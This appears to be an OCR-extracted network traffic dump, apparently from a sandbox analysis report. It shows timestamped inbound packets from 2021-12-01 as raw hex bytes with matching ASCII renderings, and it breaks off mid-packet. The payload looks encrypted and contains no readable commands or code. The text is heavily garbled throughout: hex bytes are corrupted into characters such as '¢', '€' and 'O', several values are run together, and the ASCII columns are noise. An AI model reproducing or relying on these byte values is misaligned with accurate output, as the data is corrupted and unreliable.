17 19 d3 c5 14 ed 88 5d 75 cd 9c a3 78 Oa c5 99 4c a9 b4 85 10 61 b2 7a 3f a9 al 80 be 4d 4b 73 52 85 4b 16 dd 60 0f 26
797 20 19 05 9f 19 74 ec e4 10 68 25 c6 89 20 90 45 d2 4f a2 0d e0 c9 84 ca f6 29 c9 b4 36 d6 al 92 7b 16 fa 42 5b 37
3e cd 35 66 04 46 4f 5a e2 5f d0 43 95 a2 ec fb
Data Ascii: M~=kBuzl!6]Kr'DX<'e-U*NvKq'zowIDAH~usgf<<Y=GH\rZN]JuxLaz?MKsRK'&y th% EO)6{B[7>5fFOZ_C

2021-12-01 08:15:22 UTC 405 IN Data Raw: a5 05 e2 71 5¢ a3 1d cd e2 de e9 15 28 a4 d3 46 66 b2 b0 38 f7 f7 18 e4 c1 f8 7 3f f1 d0 51 11 5d 63 8c 95 98
da 54 52 04 2f 29 d8 1e c8 79 ad fb da 58 b7 61 5c dd 81 b9 01 fe 68 1e 83 17 ec da 58 57 87 d6 46 c7 a4 24 8c al 75 e9
bd e9 a0 82 94 e7 61 4b 19 3f 3¢ 86 b6 cc 26 7d 36 46 e0 50 75 4e 83 c2 f2 a0 c6 f0 79 b0 13 99 cb 7 fb 81 68 7a e0 45
b7 f4 4b 8a 6e c7 65 f9 5¢ 17 70 b6 65 69 67 59 82 95 fc bf de b2 ba Oc 62 8d 77 9c ea fd 5¢ a7 07 98 7f 9b b0 a0 6e 8c 8a
c4 e6 87 d6 05 f9 39 bb 00 02 fc al fe f9 88 1c 68 15 ¢7 6d 61 64 24 d4 f3 21 c6 ad 94 06 3b 83 6f ef 3d 66 55 5f 4f d5 fb
df c4 fc 4e 9f 8a 38 18 22 7e b2 7e 70 65 bd 4b 76 38 ef €3 97 f7 04 43 06 d0 ca 65 37 f6 9d 97 9e 2b 1f 8 17 77 3 2e €9
cb aa c5 cc 7e 02 38 32 d1 44 d5 b0 81 54 1f
Data Ascii: q\(Ff8?Q]cTR/)yXa\hXWF$uaK?<&}6FPuNyhzEKne\peigY bw\nShmads$!;0=fU_ON8"~~peKv8Ce7+w.~82DT

2021-12-01 08:15:22 UTC 406 IN Data Raw: 98 11 8c 60 bc 40 fc b7 e9 aa f6 31 87 4c c2 22 ca db 64 1d 1a Oe 1e fb 36 b4 f5 7c a7 ea 3b 95 3 1a 94 17 15
c0 b8 43 35 d7 68 28 b6 b3 d3 d3 60 41 f1 bd 16 54 c8 52 64 ba 1f 7f 09 26 a0 31 9c 48 b4 b4 64 5e 49 08 4b c0 91 68 96
07 7c d4 a4 ba e2 25 4c 3b d2 28 d9 3d 9d 68 7c bc ca 5e 65 be 95 af 22 bd 3e a8 24 c1 39 81 93 11 e0 32 dO fe ce 35 c6
37 f0 57 98 be f0 €8 bf 9b 99 7c 5f f1 7f 80 d9 90 85 ac f9 28 0f 40 10 34 8a 38 13 bd c7 47 a5 d3 49 2c d7 af be 75 08 8d
3d 8c ac 34 ab 8e 2a 01 d8 6a 23 b6 52 11 39 00 51 d6 4b 80 89 7b 67 bf 44 a6 56 1d b9 e2 a2 de fb 58 97 e3 7 a0 f4 65
97 d3 c9 al b9 2e 78 af 57 f2 b7 b8 50 2c df df 65 e0 6¢ dc 65 1c 6d 9f 92 53 e0 27 aa da db d2 ca 2e cl e4 ca e2 e7 10 3f
75 dc d4 63 34 bc e0 02 27 f4 b4 81 e3 27 fd 63
Data Ascii: - @1L"d6|;C5h("'ATRd&1Hd Kh|%L;(=h|"e">$9257W|_(@48GI,u=4*j#R9QK{gDVXe.xXWP,elemS'.?uc4"c

2021-12-01 08:15:22 UTC 407 IN Data Raw: ed 94 e9 ec 48 14 37 cf 86 4f 84 d5 68 62 58 42 eb d1 2d 7f 31 dd 62 f9 c9 c4 Oc 40 70 0d fd d1 fb 2b 47 43 bc
96 ¢3 76 35 93 78 82 76 7b 39 9f 2d 16 02 4e b8 60 d8 2f 93 d8 Oe c0 94 df fc 5¢ 8b fd d5 54 0d 73 e7 0d d9 fb 4f fe 20 18
79 55 f6 da b1 3c 14 b6 19 9a bd d4 70 3a 58 33 c9 2f ab 69 63 6b 4e b3 21 44 42 c9 a8 64 a9 b3 7d 2¢ 57 9b 16 d8 b7 c9
5b 28 85 bf ac ea 15 8b ec 8f cf a4 59 dc 12 a6 7d f7 87 ad 95 5a Ob 97 38 5¢ dO €9 1f dc ef f7 14 db 29 c4 74 c3 33 75 ea
85 ec 4a c6 7c 54 €3 d7 32 9b c8 4c 81 e3 26 97 fO 3¢ 59 2d 06 5e 15 a7 f6 31 3e b0 e4 9f ba 6e 8f 0a 93 ba 61 €5 23 23
6f 76 ff ca 8c 4f 23 d7 27 fb 72 10 3f d8 ce 8a cf cf f7 2b 29 ¢9 86 93 3c aa 15 15 16 b0 5d 5e 26 3e 32 94 a8 c4 77 f6 40
ae 7¢ 00 d6 88 76 ee dd a0 fO 73 29 1b cc b4
Data Ascii: H7OhbXB-1b@p+GCv5xv{9-N'ATsO yU<p:X3/ickN!DBd},W[(Y}Z8\)t3uJ| T2L&<Y-*1>na##ovO#1?7+)<]*
&>2w@|vs)

2021-12-01 08:15:22 UTC 409 IN Data Raw: 26 ca 4b e4 f4 f6 08 f3 76 08 57 10 a4 6a 12 68 el c9 ff 51 48 f6 1c b8 54 8f f4 dc 30 af Oa cd 6b 4e 12 99 f9 ad
72 6d d4 b3 61 e4 64 89 a0 5d ed f1 3d ee el 0d a8 20 37 2f c1 a2 0f c4 b3 aa 0a a4 37 96 4a 2d 3d ab 08 90 db 26 ea f5
ee 03 a6 dd 6d fO e cf 68 88 42 62 36 b2 92 d5 33 2b 62 e6 f1 15 73 86 50 bf 6a 99 21 4b 40 7f 01 7d 8d ba d7 77 f5 8a
5d 04 52 a4 2d c2 8 7d d5 fd 2b b0 2¢ 36 30 95 97 b5 7b 71 77 da 40 75 df ad 1c 7a a5 6e 28 8¢ 51 8¢ 51 76 b9 ab 91 68
4c cd bb 90 39 8d 3a 91 65 0b 9b 3f 73 27 {7 ¢8 34 19 85 2b Oe 28 a5 b3 6a c4 8c 58 76 6d f8 8b dd 80 77 6¢ 4c 4d 02 70
32 2329 ef 3390 15 ¢4 63 b5 fc b0 d1 97 2a b8 8e d8 cc ae 05 db da Ob 81 b4 2d 55 24 05 5b 99 d1 c8 d9 ba 00 f9 87 9e
8f ef 74 31 6e 2a 96 9f 8f 5d a9 6e 28 8e 25 97 68
Data Ascii: &KvWjhQHTOkNrmad]= 7/7J-=&mhBb63+bsPj!K@}w]R-}+,60{qw@uzn(QQvhL9:e?s'4+(jXvmwILMp2#)3c*-
U$[t1n*In(%h
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 410 IN Data Raw: 2b 68 7a 81 e3 30 f5 23 ff df 76 53 35 eb 20 d7 53 54 2f 4d 56 af 91 30 07 8 66 cc d9 13 62 8d eb 76 00 f2 f3
el 01 d8 24 0f 69 44 82 29 d7 al 1e 64 db cl 4c 63 Oe 7c e2 03 b5 9a 99 49 87 3f e6 8e 7f e6 dd a2 31 bl b9 db d1 74 73
c4 ff 0c Ob d5 7d 71 5e b0 1e c5 13 8a 9c 40 9b 5b 70 fe fc d2 a9 8f f5 b3 70 42 ae 9d cd 77 c3 55 dd 40 a7 53 c5 3d 21 e2
29 47 26 bc 35 f2 76 97 db 29 34 €9 ec 70 f7 ed d5 80 2a 04 55 8d 23 05 €9 0f d3 9c 0f 6e Oc 3a 67 17 65 f2 64 d5 d5 22
74 bd 95 eb a0 79 a4 89 d7 03 73 b8 db 1f 61 14 50 07 a4 6b 03 f3 95 77 63 88 37 25 3d 6e d5 60 9a 3e b6 00 60 01 56
79 cc d7 00 30 fc 4b cd d6 19 30 17 9e 12 75 1d 6a e3 24 32 0e d5 a7 96 d5 e6 05 41 cd ff 21 d0 31 e5 a3 25 Oe 5b 49 29
d6 6e 57 2b e6 82 bf ed 8d d7 fe 14 ed 2b c9 2f 80 Oa
Data Ascii: +hz0#vS5 ST/MVO0fbv$iD)dLc|I?1ts}g @ [ppBwU@S=!)G&5v)4p*U#n:ged"tysaPkwc7%=n">"VyOKOuj$2A!1%
[HNW++/

2021-12-01 08:15:22 UTC 411 IN Data Raw: 53 e0 e5 d8 91 4d 7d 55 6b 6f c7 07 6a d2 61 5e e5 70 99 Oe 5f 39 6d 80 f9 82 9e 8d 75 99 ce ac 1f 41 8f d6 8e
92 74 00 85 87 8d 3e 82 16 b1 fc 26 8f 31 50 38 87 6e 5d 91 Oe 9d bd 49 2d 18 21 af 1e 9f 96 6b 2d 7c 4b d2 17 7d cb ed
b5 6¢ a7 bd 7c 9f ca 52 f5 c0 6f 85 d0 e2 99 8¢ fh a6 b6 bb 1a 93 49 82 d8 56 2b f4 96 b3 c4 58 93 89 7c 1d 15 87 2d b6 a0
17 5e 4a 52 b2 d0 97 27 2 cd f1 a6 56 24 f0 7b b3 7a d2 87 f2 b1 22 6¢ c4 db 13 fd 39 5c la cf 2a 35 52 d2 90 63 b6 cd ef
23 d6 1b b4 23 c0 b6 b6 94 56 8c af 42 52 cd 94 {8 3e 37 4b 50 62 f6 86 bb db 3f al 12 0d 5f 62 3c 3f 15 3c 81 08 7 5e 7b
3b 9e 88 9d a7 e0 b1 38 81 2 ce 02 Oa da 47 c8 0f bd f9 60 f9 b6 79 41 68 72 69 b8 7b ba c4 c5 dd 4b e5 d2 6d ba 65 12
7f 1c 2b e4 ce cf cd bb 4c 74 21 67 2f d1 0d
Data Ascii: SM}Ukoja”p_9muAt>&1P8n]I-!k-|KH|RolIV+X|-NIR'V${z"I9\*5Rc##VBR>7KPb?_b<?<"{;8G yAhri{Kme+Lt!g/

2021-12-01 08:15:22 UTC 413 IN Data Raw: c2 6d 89 ad a9 34 db 23 90 bd b9 f4 8d 0a e6 79 15 2¢ 7b 9d 2b 45 50 ce 93 56 c8 3a a0 4f 1b 77 33 d0 ea dO
46 24 71 af 64 77 3 27 6 ac 86 4c 62 a6 57 47 70 c9 6a ce 05 fc a9 0f 40 ca 2d 5a d7 79 31 52 2d 2c b5 06 4f fe 6¢ ca 81
50 66 18 1e 3b 91 96 ee cf 2b de 59 c2 8e c8 ba c2 ae 06 6e 7c 32 88 ac 0f f6 43 a0 71 ec 54 47 1b 4a 7c ea el 6e 63 97
59 5b 15 d9 26 13 3d 9d 99 77 c1 18 ¢4 0d 19 Ob 15 05 b4 20 59 a5 f0 8d f3 f4 37 38 8e 03 f7 5e 1d 5d 29 d1 a3 al 72 fb
6a ad 21 15 dc f9 e9 11 7c 6e Oe fa 4b 93 ef 9a 2f 16 5b dd 6e 65 a8 86 f2 8b b7 c2 c5 98 c0 7e d2 7a 93 51 e2 ¢3 99 c7
45 5¢ 8e 2a 97 28 7c 5¢ 6a f7 7a c2 ad da c4 6d 15 37 d1 57 47 00 69 6¢ 50 b6 d1 33 0a 93 ed e4 c6 7c 5e ae 69 d7 8e ce
10 9f 83 cc 92 c2 81 3f a8 79 62 29 5d da a0 93 d5 02
Data Ascii: m4#y {+EPV:Ow3F$qdw'LbWGpj@-Zy1R-,0IPf;+Yn|2CqTGJ|ncY[&=w Y78M))rj!|nK/[ne~zQE\*(|\zm7W
GilP3|"i?yb)]

2021-12-01 08:15:22 UTC 414 IN Data Raw: bd d2 al Oc bf 66 46 09 d7 da fO b3 7c f5 17 6f 49 7e 51 eb f2 8b ff 19 9f eb 03 5e 04 58 04 3f 03 95 94 82 34
34 c6 e5 7d 88 a2 01 6b 4f ed 14 da f9 ca 06 8a 8¢ ac 5d 85 8b d2 25 b4 72 b3 d0 77 f4 1e 7f 19 a6 20 59 09 3b 30 08 fb
42 7c b7 49 10 12 3a ed ae 00 6e b3 7f 26 8a 3c 85 cf 46 93 2f 33 2b 92 0a d7 34 ac 03 11 4f 36 75 73 e5 8d 7a c4 a0 2b
a2 7e 70 26 Oc ff 7e 94 de 13 4f ef 31 75 2a d5 33 f4 {7 35 95 82 fe 3e fb f1 7b f8 7d a6 55 ff 1b 04 46 e0 a0 73 2f 4f 6e 34
fb 70 b0 97 44 f9 17 05 2c¢ 38 93 5b c4 1b 15 2a 10 66 b7 a6 d7 3b 78 64 13 ae 7f 6a ea ff ff c7 a4 42 18 65 fe 89 07 Ob 35
b8 f6 54 2e 50 3c df 3e 27 05 6e 24 ed 54 16 c6 00 a2 64 8b 6e 15 a6 03 9c 15 e8 ee 3e 69 bf 18 76 fa cO 1d 4a 2c e3 8e
0Ob Ob 05 ce a8 9f 48 92 59 d8 74 02 65 a9 f2
Data Ascii: fF|ol~Q"X?44}k0]%rw Y;0B|l:n&<F/3+406usz+~p&~01u*35>{}UFs/On4pD,8[*f;xdjBe5T.P<>'n$Tdn>ivJ,HYte

2021-12-01 08:15:22 UTC 415 IN Data Raw: b1 f5 4e b5 b1 d2 14 02 45 f4 fa 72 bd 1c fd 4a 7f 34 74 b2 bd d2 ff 60 41 69 dd 25 67 a0 aa Of 3e 92 {7 71 85
Oe 2f f5 7c 24 b4 ba 45 d0 66 al 68 18 03 a0 96 a3 09 8c 6d al e5 f6 a0 59 cd 05 3e 58 46 68 8¢ 6e 1f 68 e8 67 e4 €6 28
92 90 ab 32 ad 3a 20 e4 ¢3 82 09 6a f0 91 76 b2 €9 2d c9 c7 d6 74 70 1a 49 16 10 47 79 2f 59 3d 3a 42 5b ee ed a2 7e 34
de 6d 6 f1 bc d8 50 47 95 82 ff 4a 61 8a ab f7 13 5e 52 93 21 b9 f3 36 53 a9 4e 59 f3 87 6¢ €3 b3 ca 41 08 70 93 dO Of 3f
80dd 17 16 72 92 8a ab 19 0a 73 f9 2f Oc 69 2d e7 e2 58 38 b9 2f 6d ec 7f 53 1c c1 5b 63 07 f5 43 a4 0f f5 78 80 c2 e8 ab
49 d6 8f 3e fa 67 96 fc 5¢c e2 b5 60 98 2¢ 27 8d 26 83 ff aa 69 44 a4 64 5b 17 f8 43 96 29 a2 8a 48 5¢ 2b ac e0 Oa 25 b2 69
ec 64 7b d9 fd a4 3f 09 48 d6 db c7 c5 b9 db
Data Ascii: NErJ4t' Ai%g>q/|$EfhmY>XFhnhg(2: jv-tpIGy/Y=:B[~4mPGJa"R!6SNYIAp?rs/i-X8/mS[cCxI>g\",'&Dd[C)H\+%id
{?H

2021-12-01 08:15:22 UTC 417 IN Data Raw: Oe cd bf 3c ¢3 83 el 25 0d bc be 63 c2 2c 6a 86 86 1f 1b 7b dd 10 99 97 30 13 d6 e0 29 16 d2 bl 13 98 d4 1d
5588 b9 2a ec b6 91 21 57 1f 5a 98 f6 05 10 20 1d 82 27 0d 32 b9 04 {7 d6 6e b0 fa fc 70 8b 7c cd eb 81 2e 72 6f f8 66 bb
ce a7 ab 53 78 f7 d8 61 47 bd 7d 9e 7e 68 cc 16 5e 4b c8 53 46 b0 a4 d6 24 Ob 6e e8 d1 92 5f e3 8¢ 9a 4c 8a 27 62 5d ff
b4 55 cb b4 b8 57 0d 35 aa 8f 85 76 43 b6 ff e9 6f 94 6f 8b 3a 03 54 30 94 4d 71 1b 8f 5f c8 e9 5 ¢c7 9e 1a d5 20 91 64 63
7379 a0 5¢ f4 f0 45 77 1b da 68 35 36 17 fO c4 43 07 b0 ad a9 2b f4 98 3d a3 73 fd b1 70 de c1 34 bc 1f 7c be c1 1d 3f 86
e5 1le 27 b0 c7 27 fd a7 fe d8 ba b7 99 56 19 7 7f 16 7b 0a 61 5¢ 15 52 77 50 95 da 8e d6 59 el aa 90 37 31 36 58 1a 06
57 f6 dc 48 95 f2 7c d3 2c e4 4c b7 97 65 el 45
Data Ascii: <%c,[{0)U*IWZ '2np|.rofSxaG}~h"KSF$n_L'b]JUW5vCo00:TOMq_ dcsy\Ewh56C+=sp4|?"V{a\RWPY716XWH)|,LeE

2021-12-01 08:15:22 UTC 418 IN Data Raw: a2 a3 cd 9e 27 c4 ae c0 b4 d2 a8 f1 20 ed 7b 70 bc 8a 08 d8 96 96 e2 cc b5 aa e2 c8 7b ¢3 03 65 fc 80 d4 e7 fc
10 e0 c4 27 62 85 ef df 3a 51 99 37 b3 31 07 99 7f 95 e9 2a ef db ce 4b aa 77 38 f8 5e be ba 6b 94 6¢ 48 44 ab Oe dc 65
46 72 83 2a e5 56 cb 1c b6 fa 4c 20 25 ad db 1e 72 2b d0 05 1f 2e 8d 67 Oe c9 77 7b ae 56 dd f5 35 70 el c5 1f 6e f2 b5
9544 06 74 d8 3b 18 5d 6d 14 68 de f9 53 e2 8f 12 47 76 8c 6e 3d e8 b3 34 ad 84 20 5e 72 7a 3a c7 b8 6e 30 fO dd a3 al
2d 15 9d Oc 1b ae Oc 9b 39 83 bc 55 0d 51 eb 87 3e 26 89 5a 60 3a 74 7e 2d eb 07 24 49 cd 60 69 ec 37 8e c7 43 89 b6
8f 3c 92 1b 5a 7f 72 7b 6f 7f 9d 60 78 e0 32 25 50 82 a7 ab da 28 8f 49 86 fa c3 07 33 e7 9e b6 34 93 2b 86 5c 34 fd de b0
9f f7 c9 ca 48 63 25 26 c¢7 37 9e 04 1c 10 84 bb 6d 18
Data Ascii: ' {p{e'b:Q71*Kw8"kIHDeFr*VL %r+.gw{V5pnDt;jmhSGvn=4 ~rz:n0-9UQ>&Z :t~-$I'i7C<Zr{o x2%P(l
34+\4Hc%&7m

2021-12-01 08:15:22 UTC 419 IN Data Raw: 5f 7e 1b cf 43 21 94 €9 4c 4d 4a f1 d9 e2 41 08 62 01 fb 62 cc 60 17 2b 8e 14 5b 10 50 b3 8e 9b 3a 0f 99 05 b0
3 b6 48 5b 6a a0 5d 1a 89 15 fd 72 62 6a f6 34 f1 d5 3f 79 74 b9 3b 21 45 28 08 8e 17 1e 68 bd 37 3d 7e 95 3a 84 el be
3a c6 3b de 17 8f 83 fa 8e f2 8a Ob 44 39 08 27 1f d0 06 c2 29 71 f6 13 22 78 9f ee 5b 83 84 el 40 42 ff f8 22 a2 cf de f1
€5 23 80 7a ba 31 02 bc 05 36 44 ¢7 1a d1 3c ba fa df 99 Oc c2 59 d1 08 a7 Oa 26 ea 8b 1d b3 2b f0 08 13 13 0a 90 3d 42
ea 56 aa df 8f 39 el b2 99 82 31 6e 0d fc 5b 41 df 85 07 42 2¢ b5 40 35 df al a3 68 e2 7a f1 ee 9a 80 c1 2e 09 7 4b cc 04
64 ea 37 89 ee 8¢ 60 87 30 20 f8 f6 90 59 1a dd 80 40 20 7c 7c 80 a6 d4 d6 55 44 9d e9 4b d4 45 e4 08 d7 2b 84 8b 3b 70
54 2e 2f 58 e4 5b 19 5a 93 9a 87 3e a5 a9 05 05
Data Ascii: _~C!LMJAbb +[P:H[j]rbj4?yt;!E(h7=~::;D9")q"X[@B"#z16D<Y&+=BV9I1n[AB,@5hz.Kd7°0 Y@ |[UDKE+;pT./X[Z>

2021-12-01 08:15:22 UTC 421 IN Data Raw: b7 0Ob c0 30 7d 58 1a e5 40 dc 1b b9 f3 87 33 fd a7 67 81 fe 9a 22 34 03 04 97 74 fe 03 22 38 b9 f4 45 7a 3a b4
22 b7 bb bf 3a 03 b6 11 4c fb fc 4e 8e bc 36 25 0f 5b 3b 92 50 2b ee 6¢ 2¢ f2 d9 66 62 b1 41 59 4a 6b 26 01 c6 c8 9d a8
e5 57 16 ff 18 f0 6d 9f 07 89 15 fe 36 60 19 d9 c0 a4 e7 d9 29 41 31 2d e7 fa 13 9f Oe 40 e4 5b el e7 21 75 Oe 30 69 21 51
3b 78 2a cc 76 b3 f2 aa bl 5d 21 73 ¢8 07 f2 00 d1 5a 83 ¢7 €6 18 d7 c0 ba 10 17 22 6d e2 5b 42 d4 f5 86 3c 80 ef 5a ba
b9 4c 5f 8e d9 6f fd ef f8 b7 0a b7 c4 9f 29 65 af 34 b5 97 a6 ed b0 dd a4 27 33 9a d0 aa Oe a2 9c 7a 61 6¢ 92 1a 12 ea c2
2f c4 e3 ce 54 a2 af 20 7f 84 c8 0a 37 99 18 4c c9 b6 fb 4a a0 07 26 d6 1a e5 b3 1d 1d 9e 57 Ob 48 7e 60 44 87 bd ca ec
5524 ¢7 52 a7 7c 98 95 44 25 d6 04 e7 6e 25 14
Data Ascii: 0}X@3g"4t"8Ez:":LN6%[;P+|,fbAYIk&WmE")A1-@[!u0i!Q;x*v]!sZ"'m[B<ZL_o)e4'3zal/T 7LI&WH~'DU$R|D%n%

2021-12-01 08:15:22 UTC 422 IN Data Raw: 16 51 2 ae Oe 16 f7 2b ad 78 bd c9 04 05 37 29 e3 0b 22 be e7 b2 8f 05 f4 99 02 9b 92 07 4d 50 e2 4d 08 69
5b el 27 02 36 6a 94 c6 72 ad 5d 7e a4 90 {7 70 19 9d 97 fb Oc 52 7e 76 4c eb f3 2d 9f f0 25 40 dd 2f e2 2c 5e a3 1f e4 d6
87 9d bc 2b ¢1 40 cb 93 08 13 e3 d3 9e 7b a2 70 5¢ 1a Oc dO 88 83 92 67 a9 8e a3 a4 Oc 7c ed 36 9d le 44 db f9 b7 bd 9b
cf 48 5e 14 6a 9a c1 80 f7 bb 98 20 b3 aa 4d 19 85 le eb 6¢ fc 17 21 39 a5 ed 83 a8 17 e4 5e 2e 03 bd 28 81 d3 50 02 56
99 ec 2a b6 dd 4c c7 04 fd 62 96 c6 da 89 23 e2 77 4c da af fe a2 25 d4 ab ab 78 18 el f4 11 da 62 92 06 2e 6b f2 cO db
07 0f 05 35 f7 32 24 63 ee 20 b2 cb 64 eb 19 d1 ae f5 d1 bd 93 d3 ed aa ac a4 4f d3 81 62 d4 9c ab f6 68 51 19 e2 2b 22
77 50 06 b3 28 b6 b9 79 48 39 46 60 c1 5d 27 97 90 57
Data Ascii: Q+x7)"MPMI['6jr]~pR~VL-%@/,"+@{p\g|6DH"j MI'9".(PV*Lb#wL%xb.k52$c dObhQ+"wP(yHIF "W
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 423 IN Data Raw: 87 d8 3e 31 df 87 4d 5e 68 49 4a 98 82 75 09 9a 0d fa 56 64 17 a4 96 3c 0d 61 f0 el fe a9 48 b2 f8 61 d0 c0 77
61 1f e7 98 90 e6 d1 ac 86 82 28 b6 2d 78 01 65 1a 19 31 79 96 c6 06 97 4c 5 5d ae 62 1d a7 4e 4e 48 c5 a7 23 5¢ 8f 16
ba 53 b7 96 68 91 ce 7b 42 1f 23 ea fb 48 af 60 40 52 5d c¢3 71 c5 1f 9 db 87 eb e3 80 45 03 15 38 45 2e d9 09 9c 6e 90
02 24 8c 31 64 49 e9 aa 52 e5 Ob 49 bb ea af 0a cd 9a 4c c4 6f 08 42 08 49 bc c9 fa b5 63 55 ae 22 9e 74 af 74 eb 8f ce et
ab 9b d6 74 cd 6a ec 55 21 ce cd 30 08 dc 84 94 21 83 39 d7 b4 e6 ba 07 00 22 d9 e2 71 27 1a 8f ec d7 77 fb ad 45 c5 54
94 ac ab 53 9b dc 3f b9 6b 8d 5b 09 8a 53 51 d2 c2 8b 78 54 c6 a3 03 e7 6b 10 c4 81 81 al dc 87 99 36 86 d3 f0 31 ed b0
36 8e 33 1c fb 81 15 6f 72 aa 81 5b ec bf 29 a9 70
Data Ascii: >1M"hlJuVd<aHawa(-xelyL]bNNH#Sh{B#H @R]qE8E.n$1dIRILoBIcU"ttju!0!9"q'WETS?k[SQxTk61630r[)p

2021-12-01 08:15:22 UTC 425 IN Data Raw: 57 3d 52 53 dd ¢9 59 71 7d 9f 2d ¢7 59 a4 a2 d5 a0 1c 50 34 1b b7 6d 8a 69 a2 ae fa ab 4e 9f 87 ba 42 d3 45
eb cf db 57 4d 57 ¢8 21 31 f4 46 81 87 e2 3b 3c 98 0d 38 88 d9 9a 1d ba 07 b6 5f bb 7b 1b 18 d2 b dd 90 ef e6 6b 4a c9 9
b4 22 88 74 e4 fc 38 1d 90 b3 25 50 00 2a 02 c0 4c 21 d5 d3 12 45 84 e4 2d 65 db 70 5e 1b 80 5b 88 bd 9e 26 a5 3b c3
€210 f9 51 65 c2 7c 18 b8 d4 2a 37 bd 5e cd 41 92 b5 5b 09 €5 af 9¢ aa 39 31 84 56 3d 2e 36 5 40 51 12 d3 72 de 18 46
fd 1a d3 a6 62 03 93 ff d7 62 fb cO ef 0d ea a0 a7 32 27 31 7 3c bd e4 b8 ee fb 8f da 67 65 88 a6 85 d7 01 57 €0 42 68 27
8 62 e3 b6 4f ca 25 ea a3 60 f2 90 1f 74 94 d3 c9 28 Of a2 1b 3 ca 80 fa 4f 23 6e 57 37 {7 18 89 bd 81 08 3b 08 7b 1a b0
65 5¢ 14 37 b8 d7 26 04 b7 9a 13 47 2 e7 3f 94 ef
Data Ascii: W=RSYq}-YPAmINBEWMWI1F;<8_{kJ"t8%P*LIE-ep"[&;Qe[*77A[91V=.6@QrFbb2'1<geWBh'bO% t(O#nW7;{
e\78G?

2021-12-01 08:15:22 UTC 426 IN Data Raw: c5 39 2f db be 1a bf 97 8c b9 44 44 5d d0 f9 d6 35 1b 36 b2 62 2b f3 f5 8e 45 c2 75 b5 be 64 3e 2b b8 dc 0d 8b
8b 5b ed 3 5e 4d da bc 63 bc af a6 78 f3 ab ee cd c¢8 e0 04 ed 87 6¢ 69 71 9e 73 a8 ad ca 2d 9d 2c a0 88 18 6d 70 f4 6¢
86 68 be 03 1f dc 18 f8 bd db fe 5d 9d e0 95 eb 10 9a 8b 24 cf 6b 29 61 3 2e ba 5a 13 20 fO bc 29 18 5¢ 91 ¢5 93 35 90 a5
52 2a d0 1e f8 78 98 21 1a db 8e 51 39 55 17 4c 64 cc el Oc 24 25 d2 43 29 8e f1 1e 03 88 5 f9 15 85 43 c5 1d a6 ce 84
5ae8 ba 68 c4 el 0f a3 16 52 55 9e ec 5b b1 df 91 15 b1 el ae d3 93 e9 2b 81 5f d0 f4 b3 c¢3 f7 b7 03 7a 79 a3 24 b9 84
8f c9 9a Oc fd 30 08 99 02 ca 54 59 66 32 15 16 8d 73 15 73 €9 5b e4 ae 27 cd d7 56 7c 23 64 7b 1b 6a f4 79 09 c9 Ob 37
b3 1b dc 6b cd 43 3d 06 33 13 de 65 7e 10 ec 20 3c
Data Ascii: 9/DD]56b+Eud>+["Mcxligs-,mplh]$k)a.Z )\5R*x!Q9ULd$%C)CZhRU[+_zy$0TYf2ss['V|#d{jy7TkC=3e~ <

2021-12-01 08:15:22 UTC 427 IN Data Raw: 15 03 56 el ea 05 1b 2a 26 c¢3 3e b0 47 21 50 Oa 7f c¢6 8c 38 07 Ob 5e eb b8 05 83 f6 d8 37 c1 2c f3 f7 eb 54 1a
b4 2a 80 27 61 eb 29 3c 68 €0 1e 67 76 42 ca fc a7 49 af af 13 0e 21 91 2d 77 15 51 a8 5d 7f 77 ce c9 1e ff a9 70 d5 3f 7b
9d 18 17 1f ad 49 fa 1b 4b 07 14 34 57 17 7d f7 2a 1e 4d fd e4 96 23 96 af ea 9e 28 3c a9 Oa 16 fd c8 58 1d 89 21 20 20
14 48 a4 02 72 3a d0 f2 f9 ¢9 36 31 5d 33 c8 ca e2 a7 4a 3d 89 b7 c7 7a 1f 64 55 64 38 21 69 b1 9d ad 30 b6 14 69 bf 5¢
a0 23 80 8c f2 55 ee e0 9d a9 46 8c ac c9 75 af a3 f1 ec 75 1c 30 5¢ 74 06 3c f0 Oa 7a 49 aa c2 97 75 8e 76 d9 13 b3 e9
70 32 bf 96 ce e4 95 af 66 4c c7 5a a8 39 13 f0 04 c3 c4 60 c4 a6 80 58 43 89 eb 3e b8 52 72 a9 7a e5 f3 4f 6¢ 61 19 17
c4 8d 9 0f 8c ff 4e 8c 1f 10 4b 1c e9 6e f0 a0 67
Data Ascii: V*&>G!P8"7,T*a)<hgvBI!-wQ]wp?{IKAW}*M#(<X! Hr:61]3J=zdUd8!i0i\#¥UFuuO\t<zluvp2fLZ9 XC>RrzOlaNKng

2021-12-01 08:15:22 UTC 429 IN Data Raw: d0 32 30 08 ¢5 55 88 52 95 5 b6 87 5 0d 3a d4 88 d7 be b8 3a a0 Ob 01 2d 7a d9 d7 da 97 61 85 1f b4 8f 99
3b 1c 22 40 fa fe bf 25 07 a0 18 22 d8 9d 21 5a 8f 36 8e 7b 8c e0 c5 48 16 d8 8e 6a df 11 f3 9d 32 55 af db 42 24 78 4f b5
ac 8e f1 b5 71 79 c¢6 d7 cb 6e 08 85 fb c9 88 74 2f al b2 5a 4e 73 90 7f 28 77 aa f8 80 cf 12 e3 ef 1d 2f 62 a2 a7 4c 8e b9
03 45 26 64 88 78 16 4b 99 b1 1d e2 ed 2e 02 84 31 c4 85 b4 52 33 66 37 82 83 6e b7 3e €0 9f 79 7d 4d e9 ed e5 6¢ cO
6a 7c 9a 20 27 53 77 ¢4 33 a3 cb bf 9d c5 6 2e 5e d9 81 28 4e 04 ba 85 b7 fb 49 05 49 99 92 11 41 f1 16 18 ae el 97 ef
90 Ob 5b 43 e9 a8 bb 2b 57 58 5e 58 09 15 77 24 38 6d 19 88 17 78 3b a8 7b 36 €0 f2 eb 01 28 56 23 ad 1b 24 8e 82 5e
c2 c8c6 d6 c7 cd a3 88 68 ac d6 cd 3e 06 07 a8 43 bb f5
Data Ascii: 20UR::-za;"@%"1Z6{Hj2UB$xOqynt/ZNs(w/bLE&dAXK.1R3f7n>y}MIj| 'SW3.A(NIA[C+WX " Xw$8mx;{6(V#$" h>C

2021-12-01 08:15:22 UTC 430 IN Data Raw: €8 9c e5 d8 91 e6 57 6d Oc 85 49 42 2e Oe 02 ce 2e 90 fb f8 19 7c 09 53 ¢7 e5 00 70 51 f1 07 3 15 80 cO cc 59
8b 51 ab 23 1d 1f b1 b5 a8 e9 b8 60 5a 90 7f bb 7a 89 7d 70 ca 95 18 6e f9 d4 a8 4b 90 d4 7b 52 7f 72 25 al 48 29 ef 76
